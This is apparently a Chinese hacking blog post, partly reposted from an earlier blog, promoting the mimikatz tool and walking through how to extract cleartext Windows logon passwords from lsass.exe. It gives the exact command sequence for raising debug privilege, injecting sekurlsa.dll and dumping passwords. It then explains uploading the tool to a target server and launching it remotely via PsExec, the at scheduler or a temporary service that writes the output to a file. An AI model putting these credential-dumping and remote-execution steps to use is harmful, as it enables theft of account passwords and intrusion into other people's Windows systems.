昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下
还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章
http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass
自己尝试了下用 win2008 r2 x64 来测试
最后测试成功 wdigest 就是我的明文密码
我还测过密码复杂度在14位以上
包含数字 大小写字母 特殊字符的密码
一样能抓出明文密码来
以前用 wce.exe 或 lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash
但用了这个神器抓出明文密码后
由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已
应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)
这样这个加密算法是可逆的 能被解密出明文
所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法
逆向功底比较好的童鞋可以尝试去逆向分析一下
然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器
可以提升进程权限 注入进程 读取进程内存等等
下面展示一个 读取扫雷游戏的内存的例子
我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了
总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~
使用方法：
1. 运行主程序：mimikatz.exe
2. 输入：privilege::debug 提升权限
3. 输入：inject::process lsass.exe sekurlsa.dll
将sekurlsa.dll 注入到lsass.exe 中
4. 输入：@getLogonPasswords
即可获取hash和当前用户的明文密码！
通常你在远程终端中运行该程序会提示：存储空间不足，无法处理此命令。
这是因为在终端模式下，不能插入远线程，跨会话不能注入，你需要使用如下方法执行该程序：
首先提取几个文件，只抓取密码的话，只需要这几个文件：
mimikatz_trunktoolsPsExec.exe
mimikatz_trunkWin32mimikatz.exe
mimikatz_trunkWin32sekurlsa.dll
打包后上传至目标服务器，然后解压释放，注意路径中绝对不能有中文（可以有空格）！否则加载DLL的时候会报错：找不到文件。
然后使用以下任何一种方法即可抓取密码：
//最简单实用的方法，使用 PsExec.exe 启动。//在本机启动交互式命令提示窗口psexec \127.0.0.1 cmd.exe//启 动 mimikatz.exeC:mimikatz_trunkWin32mimikatz.exe//提升权限privilege::debug//注 入dll，要用绝对路径！并且路径中绝对不能有中文（可以有空 格）！inject::process lsass.exe ”C:mimikatz_trunkWin32sekurlsa.dll”//抓取密码 @getLogonPasswords//退出，不要用 ctrl + c，会导致 mimikatz.exe CPU 占用达到 100%，死循环。 exit//*********************************************************//使用 At 启 动at ***//*********************************************************//创建服务 方法sc create getpassword binpath= ”cmd.exe /c c:xxxmimikatz.exe & lt; command.txt > password.txt”sc start getpasswordsc delete getpassword//********************************************************* //telnet 远程命令管道telnet ****不分类容转自 http://hi.baidu.com/hackercasper/blog /item/b080dbd05eb6a5cc562c8461.html
download: mimikatz_trunk
参考文章：http://hi.baidu.com/hackercasper/home
http://blog.gentilkiwi.com/mimikatz
http://pentestmonkey.net/blog/mi … asswords-from-lsass
Popularity: 17% [?]